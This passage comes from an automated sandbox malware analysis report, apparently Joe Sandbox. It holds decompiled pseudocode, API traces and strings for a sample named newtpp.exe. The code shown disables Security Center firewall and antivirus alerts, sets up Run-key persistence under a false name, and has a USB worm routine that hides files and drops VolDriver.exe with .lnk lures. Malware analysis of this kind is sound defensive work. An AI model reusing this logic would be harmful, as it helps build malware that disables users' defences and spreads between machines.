				char _v1588;
				short _v2108;
				intOrPtr _v2112;
				short _v2636;
				void* _v2640;
				char _v3044;
				intOrPtr* _v3048;
				int _v3052;
				short _v3054;
				short _v3056;
				int _v3060;
				int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				intOrPtr* _v3084;
				intOrPtr _v3088;
				short _v3090;
				signed int _v3096;
				void* _t121;
				int _t129;
				intOrPtr _t149;
				signed char _t179;
				int _t184;
				signed char _t192;
				long _t202;
				signed char _t203;
				int _t210;
				short _t215;
				intOrPtr _t219;
				short _t245;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t278;
				void* _t279;
				void* _t286;

				Sleep(0xbb8); // executed
				_v536 = 0;
				_v2112 = 0x235a;
				while(_v536 < _v2112) {
					_t210 = PathFileExistsW(L"2393737939739"); // executed
					if(_t210 != 0) {
						CopyFileW(L"297973937,", L"33973397337", 0);
						MoveFileA("337372927", "2282688262");
						MoveFileW(L"038038", L"333383737");
					}
					_v536 = _v536 + 1;
				}
				_t121 = CreateMutexA(0, 0, "2u9o0b7n"); // executed
				_v2640 = _t121;
				if(GetLastError() != 0xb7) {
					_v1064 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, "C:\Users\Alvin\Desktop\newtpp.exe", 0x105);
					_v532 = PathFindFileNameW("C:\Users\Alvin\Desktop\newtpp.exe");
					wsprintfW( &_v524, L"%s:Zone.Identifier", "C:\Users\Alvin\Desktop\newtpp.exe");
					_t279 = _t278 + 0xc;
					DeleteFileW( &_v524); // executed
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2636, 0x104);
					_v3048 = 0x414bf0;
					_v3052 = _v532;
					while(1) {
						_t129 = _v3052;
						_t215 =  *_t129;
						_v3054 = _t215;
						if(_t215 !=  *_v3048) {
							break;
						}
						if(_v3054 == 0) {
							L12:
							_v3060 = 0;
							L14:
							_v3064 = _v3060;
							if(_v3064 == 0) {
								L31:
								Sleep(0x1f4);
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								Sleep(0x1f4);
								if((E0040B1C0() & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3044);
									wsprintfW(0x416be8, L"%s\\tbnds.dat",  &_v2636);
									wsprintfW(0x4165c8, L"%s\\tbcmds.dat",  &_v2636);
									CreateThread(0, 0, E004043F0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E004054A0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405CF0, 0, 0, 0);
									Sleep(0x2710);
									E004045F0();
									E00405BA0(E0040D020(),  &_v2636);
									 *0x416e0c = CreateEventA(0, 1, 0, 0);
									 *0x416e14 = E0040A8F0( &_v2636);
									 *0x416e10 = E0040BAF0( &_v2636);
									E00409D40();
									_t253 =  *0x416e10; // 0x0
									E0040BBA0(_t253, 0, E0040BFB0, 0, 0, 0);
									_t149 =  *0x416e10; // 0x0
									E0040BBA0(_t149, 0, E0040BF10, 0, 0, 0);
									_t219 =  *0x416e10; // 0x0
									E0040BBA0(_t219, 0, E0040BAA0, 0, 0, 0);
									_t254 =  *0x416e10; // 0x0
									E0040BBA0(_t254, 0, E0040B8A0, 0, 0, 0);
								}
								return 0;
							}
							_t179 = E0040D0F0(); // executed
							if((_t179 & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2108, 0x104);
								wsprintfW( &_v1588, L"%s\\%s",  &_v2108, 0x414bf0);
								_t286 = _t279 + 0x10;
								_t184 = CopyFileW("C:\Users\Alvin\Desktop\newtpp.exe",  &_v1588, 0); // executed
								if(_t184 == 0) {
									L24:
									Sleep(0x1f4);
									wsprintfW( &_v1060, L"%s\\%s",  &_v2636, 0x414bf0);
									_t279 = _t286 + 0x10;
									if(CopyFileW(?str?,  &_v1060, 0) == 0) {
										goto L31;
									}
									SetFileAttributesW( &_v1060, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
										L29:
										_t192 = E0040D390( &_v1060);
										_t279 = _t279 + 4;
										if((_t192 & 0x000000ff) != 1) {
											goto L31;
										}
										ExitProcess(0);
									}
									_v3084 =  &_v1060;
									_v3088 = _v3084 + 2;
									do {
										_v3090 =  *_v3084;
										_v3084 = _v3084 + 2;
									} while (_v3090 != 0);
									_v3096 = _v3084 - _v3088 >> 1;
									RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1060, _v3096 + _v3096 + 2);
									RegCloseKey(_v1064);
									goto L29;
								}
								SetFileAttributesW( &_v1588, 3); // executed
								_t202 = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064); // executed
								if(_t202 != 0) {
									L22:
									_t203 = E0040D390( &_v1588); // executed
									_t286 = _t286 + 4;
									if((_t203 & 0x000000ff) != 1) {
										goto L24;
									}
									ExitProcess(0); // executed
								}
								_v3068 =  &_v1588;
								_v3072 = _v3068 + 2;
								do {
									_v3074 =  *_v3068;
									_v3068 = _v3068 + 2;
								} while (_v3074 != 0);
								_v3080 = _v3068 - _v3072 >> 1;
								RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1588, _v3080 + _v3080 + 2); // executed
								RegCloseKey(_v1064);
								goto L22;
							}
							ExitProcess(0);
						}
						_t129 = _v3052;
						_t245 =  *((intOrPtr*)(_t129 + 2));
						_v3056 = _t245;
						_t25 = _v3048 + 2; // 0x790073
						if(_t245 !=  *_t25) {
							break;
						}
						_v3052 = _v3052 + 4;
						_v3048 = _v3048 + 4;
						if(_v3056 != 0) {
							continue;
						}
						goto L12;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v3060 = _t129;
					goto L14;
				}
				ExitProcess(0);
			}

0x00405e1e
0x00405e24
0x00405e2e
0x00405e38
0x00405e4b
0x00405e53
0x00405e61
0x00405e71
0x00405e81
0x00405e81
0x00405e90
0x00405e90
0x00405ea1
0x00405ea7
0x00405eb8
0x00405ec2
0x00405ecc
0x00405ee2
0x00405ef3
0x00405f0a
0x00405f10
0x00405f1a
0x00405f31
0x00405f37
0x00405f47
0x00405f4d
0x00405f4d
0x00405f53
0x00405f56
0x00405f66
0x00000000
0x00000000
0x00405f70
0x00405fa7
0x00405fa7
0x00405fbe
0x00405fc4
0x00405fd1
0x0040623a
0x0040623f
0x00406265
0x00406284
0x004062a3
0x004062c2
0x004062e1
0x00406300
0x0040631f
0x0040633e
0x0040634b
0x0040634b
0x00406371
0x00406390
0x004063af
0x004063ce
0x004063ed
0x0040640c
0x0040642b
0x0040644a
0x00406457
0x00406457
0x00406462
0x00406472
0x00406484
0x0040649b
0x004064b5
0x004064cd
0x004064d8
0x004064ed
0x004064f8
0x0040650d
0x00406518
0x0040651e
0x00406528
0x0040653b
0x00406545
0x0040654f
0x00406554
0x00406566
0x0040656d
0x00406582
0x00406588
0x0040659d
0x004065a4
0x004065b9
0x004065c0
0x004065c5
0x00000000
0x004065cc
0x00405fd7
0x00405fe2
0x00405ffd
0x0040601b
0x00406021
0x00406032
0x0040603a
0x00406119
0x0040611e
0x0040613c
0x00406142
0x0040615b
0x00000000
0x00000000
0x0040616a
0x00406190
0x0040621b
0x00406222
0x00406227
0x00406230
0x00000000
0x00000000
0x00406234
0x00406234
0x0040619c
0x004061ab
0x004061b1
0x004061ba
0x004061c1
0x004061c8
0x004061e0
0x00406208
0x00406215
0x00000000
0x00406215
0x00406049
0x00406067
0x0040606f
0x004060fa
0x00406101
0x00406106
0x0040610f
0x00000000
0x00000000
0x00406113
0x00406113
0x0040607b
0x0040608a
0x00406090
0x00406099
0x004060a0
0x004060a7
0x004060bf
0x004060e7
0x004060f4
0x00000000
0x004060f4
0x00405fe6
0x00405fe6
0x00405f72
0x00405f78
0x00405f7c
0x00405f89
0x00405f8d
0x00000000
0x00000000
0x00405f8f
0x00405f96
0x00405fa5
0x00000000
0x00000000
0x00000000
0x00405fa5
0x00405fb3
0x00405fb5
0x00405fb8
0x00000000
0x00405fb8
0x00405ebc

APIs

Sleep.KERNELBASE(00000BB8), ref: 00405E1E
PathFileExistsW.KERNELBASE(2393737939739), ref: 00405E4B
CopyFileW.KERNEL32(297973937,,33973397337,00000000), ref: 00405E61
MoveFileA.KERNEL32(337372927,2282688262), ref: 00405E71
MoveFileW.KERNEL32(038038,333383737), ref: 00405E81
CreateMutexA.KERNELBASE(00000000,00000000,2u9o0b7n), ref: 00405EA1
GetLastError.KERNEL32 ref: 00405EAD
ExitProcess.KERNEL32 ref: 00405EBC
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\newtpp.exe,00000105), ref: 00405EE2
PathFindFileNameW.SHLWAPI(C:\Users\user\Desktop\newtpp.exe), ref: 00405EED
wsprintfW.USER32 ref: 00405F0A
DeleteFileW.KERNELBASE(?), ref: 00405F1A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405F31
ExitProcess.KERNEL32 ref: 00405FE6
ExpandEnvironmentStringsW.KERNEL32(%windir%,?,00000104), ref: 00405FFD
wsprintfW.USER32 ref: 0040601B
CopyFileW.KERNELBASE(C:\Users\user\Desktop\newtpp.exe,?,00000000), ref: 00406032
SetFileAttributesW.KERNELBASE(?,00000003), ref: 00406049
RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,00000000), ref: 00406067
RegSetValueExW.KERNELBASE(00000000,Windows Settings,00000000,00000001,?,?), ref: 004060E7
RegCloseKey.ADVAPI32(00000000), ref: 004060F4
ExitProcess.KERNEL32 ref: 00406113
Sleep.KERNEL32(000001F4), ref: 0040611E
wsprintfW.USER32 ref: 0040613C
CopyFileW.KERNEL32(C:\Users\user\Desktop\newtpp.exe,?,00000000), ref: 00406153
SetFileAttributesW.KERNEL32(?,00000003), ref: 0040616A
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,00000000), ref: 00406188
RegSetValueExW.ADVAPI32(00000000,Windows Settings,00000000,00000001,?,?), ref: 00406208
RegCloseKey.ADVAPI32(00000000), ref: 00406215
ExitProcess.KERNEL32 ref: 00406234
Sleep.KERNEL32(000001F4), ref: 0040623F
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,00000000), ref: 0040625D
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406284
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004062A3
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004062C2
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004062E1
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 00406300
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040631F
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040633E
RegCloseKey.ADVAPI32(00000000), ref: 0040634B
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\Svc,00000000,00020006,00000000), ref: 00406369
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406390
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004063AF
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004063CE
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004063ED
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 0040640C
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040642B
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040644A
RegCloseKey.ADVAPI32(00000000), ref: 00406457
Sleep.KERNEL32(000001F4), ref: 00406462
WSAStartup.WS2_32(00000202,?), ref: 00406484
wsprintfW.USER32 ref: 0040649B
wsprintfW.USER32 ref: 004064B5
CreateThread.KERNEL32(00000000,00000000,004043F0,00000000,00000000,00000000), ref: 004064CD
Sleep.KERNEL32(000003E8), ref: 004064D8
CreateThread.KERNEL32(00000000,00000000,004054A0,00000000,00000000,00000000), ref: 004064ED
Sleep.KERNEL32(000003E8), ref: 004064F8
CreateThread.KERNEL32(00000000,00000000,00405CF0,00000000,00000000,00000000), ref: 0040650D
Sleep.KERNEL32(00002710), ref: 00406518
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00406535

Strings

AntiVirusOverride, xrefs: 004062D5
337372927, xrefs: 00405E6C
%s\%s, xrefs: 0040600F
AntiVirusOverride, xrefs: 004063E1
FirewallDisableNotify, xrefs: 004063A3
FirewallOverride, xrefs: 00406384
UpdatesDisableNotify, xrefs: 0040643E
038038, xrefs: 00405E7C
SOFTWARE\Microsoft\Security Center, xrefs: 00406253
%windir%, xrefs: 00405FF8
FirewallDisableNotify, xrefs: 00406297
2393737939739, xrefs: 00405E46
%userprofile%, xrefs: 00405F2C
AntiSpywareOverride, xrefs: 004063C2
%s:Zone.Identifier, xrefs: 00405EFE
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040617E
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 0040635F
33973397337, xrefs: 00405E57
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040605D
Z#, xrefs: 00405E2E
2282688262, xrefs: 00405E67
Windows Settings, xrefs: 004060DB, 004061FC
UpdatesDisableNotify, xrefs: 00406332
UpdatesOverride, xrefs: 0040641F
AntiVirusDisableNotify, xrefs: 004062F4
C:\Users\user\Desktop\newtpp.exe, xrefs: 00405EDB, 00405EE8, 00405EF9, 0040602D, 0040614E
AntiVirusDisableNotify, xrefs: 00406400
FirewallOverride, xrefs: 00406278
2u9o0b7n, xrefs: 00405E98
%s\tbnds.dat, xrefs: 00406491
%s\tbcmds.dat, xrefs: 004064AB
%s\%s, xrefs: 00406130
UpdatesOverride, xrefs: 00406313
297973937,, xrefs: 00405E5C
333383737, xrefs: 00405E77
AntiSpywareOverride, xrefs: 004062B6

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Value$File$Sleep$Createwsprintf$CloseExitOpenProcess$CopyThread$AttributesEnvironmentExpandMoveNamePathStrings$DeleteErrorEventExistsFindLastModuleMutexStartup
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$038038$2282688262$2393737939739$297973937,$2u9o0b7n$333383737$337372927$33973397337$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\Desktop\newtpp.exe$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$Z#
API String ID: 2549499605-3345590858
Opcode ID: ef92d689a96c8412123f0e4fb90ddc0662b6d0b5b4c5dbf683da85d03ef3d0d0
Instruction ID: 83af2952ddda4d09f50abae1b8075a5cb95368c24024515adc0fadd5cc82fc98
Opcode Fuzzy Hash: ef92d689a96c8412123f0e4fb90ddc0662b6d0b5b4c5dbf683da85d03ef3d0d0
Instruction Fuzzy Hash: D1122EB1B80318ABE7209B50DC4AFD97774EB48B05F5081A5B309AA1D1D7F4AAC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D390(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t20;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406227
				_t20 = CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t20 != 1) {
					_t12 =  &_a4; // 0x406227
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8); // executed
				return 1;
			}

0x0040d39e
0x0040d3a8
0x0040d3ab
0x0040d3ae
0x0040d3b1
0x0040d3b4
0x0040d3bb
0x0040d3c7
0x0040d3df
0x0040d3e5
0x0040d3ee
0x0040d405
0x0040d416
0x0040d41c
0x0040d423
0x00000000
0x0040d434
0x0040d42a
0x00000000
0x0040d430
0x0040d3f5
0x00000000

APIs

memset.NTDLL ref: 0040D39E
CreateProcessW.KERNELBASE(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Sleep.KERNELBASE(000003E8), ref: 0040D3F5
ShellExecuteW.SHELL32(00000000,open,'b@,00000000,00000000,00000000), ref: 0040D410
Sleep.KERNEL32(000003E8), ref: 0040D42A

Strings

'b@, xrefs: 0040D3DF, 0040D405, 0040D3E2, 0040D408
open, xrefs: 0040D409
D, xrefs: 0040D3B4
, xrefs: 0040D41F

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Sleep$CreateExecuteProcessShellmemset
String ID: $'b@$D$open
API String ID: 2222793131-3177583149
Opcode ID: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction ID: b11808ad886c3be21141a941b9f16766042708721ad172ccf90be75e59fbd376
Opcode Fuzzy Hash: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction Fuzzy Hash: E211FE71E4430CBBEB14DF94DC46BDE7774AB18700F20412AFA09BA2C0D6B55A448B59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404FC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040EE0A();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x415124;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D180( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x4163b8; // 0x0
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x4163c0,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404D70( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404D70( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404E80( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}

0x00404fc8
0x00404fd5
0x00000000
0x00404fd7
0x00404fde
0x00404fe8
0x00404fff
0x0040501f
0x0040503f
0x0040505f
0x00405078
0x0040507e
0x00405090
0x00405099
0x0040509e
0x004050a1
0x004050a7
0x004050b3
0x004050c1
0x004050ce
0x004050ce
0x004050b3
0x004050e3
0x004050f4
0x00405112
0x00405112
0x00405127
0x0040514a
0x0040514a
0x00405127
0x0040515f
0x00405167
0x0040518f
0x00405194
0x00405169
0x00405177
0x0040517c
0x0040517c
0x004051a0
0x004051a0
0x004051ba
0x004051c7
0x0040548f
0x00000000
0x004051cd
0x004051cd
0x004051d7
0x004051e1
0x004051eb
0x004051f5
0x004051ff
0x00405209
0x00405213
0x0040521d
0x00405227
0x00405231
0x0040523b
0x00405245
0x00405255
0x00405261
0x00405267
0x00405271
0x0040527b
0x00405285
0x0040528f
0x004052a3
0x004052c0
0x004052c7
0x004052e2
0x00405308
0x0040530c
0x00000000
0x0040530c
0x004052dc
0x004052dc
0x00405320
0x00405327
0x0040532e
0x00405349
0x0040536f
0x0040538a
0x00405390
0x0040539f
0x004053ac
0x004053b2
0x00000000
0x004053b2
0x00405343
0x00405343
0x004053c9
0x004053df
0x004053fd
0x00405424
0x0040542a
0x00405436
0x00405460
0x00405438
0x00405446
0x0040544b
0x0040544b
0x00405436
0x004053df
0x00000000
0x004053c9
0x00405322
0x00405466
0x0040547a
0x00405489
0x00000000
0x00405489

APIs

_chkstk.NTDLL(?,00405610,?,?,?), ref: 00404FC8
wsprintfW.USER32 ref: 00404FFF
wsprintfW.USER32 ref: 0040501F
wsprintfW.USER32 ref: 0040503F
wsprintfW.USER32 ref: 0040505F
wsprintfW.USER32 ref: 00405078
PathFileExistsW.SHLWAPI(?), ref: 00405088
SetFileAttributesW.KERNEL32(?,00000080), ref: 004050C1
DeleteFileW.KERNEL32(?), ref: 004050CE
PathFileExistsW.SHLWAPI(?), ref: 004050DB
PathFileExistsW.SHLWAPI(?), ref: 004050EC
CreateDirectoryW.KERNEL32(?,00000000), ref: 004050FF
SetFileAttributesW.KERNEL32(?,00000002), ref: 00405112
PathFileExistsW.SHLWAPI(?), ref: 0040511F
CopyFileW.KERNEL32(004163C0,?,00000000), ref: 00405137
SetFileAttributesW.KERNEL32(?,00000002), ref: 0040514A

Strings

%s\%s, xrefs: 004053F1
shell32.dll, xrefs: 0040516B
%s.lnk, xrefs: 00404FF3
shell32.dll, xrefs: 00405183
%s\%s\%s, xrefs: 00405418
%s\%s, xrefs: 0040537E
%s\%s, xrefs: 00405013
%s\%s\VolDriver.exe, xrefs: 00405033
%s\%s, xrefs: 00405053
%s\*, xrefs: 0040506C
$QA, xrefs: 00404FDE

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
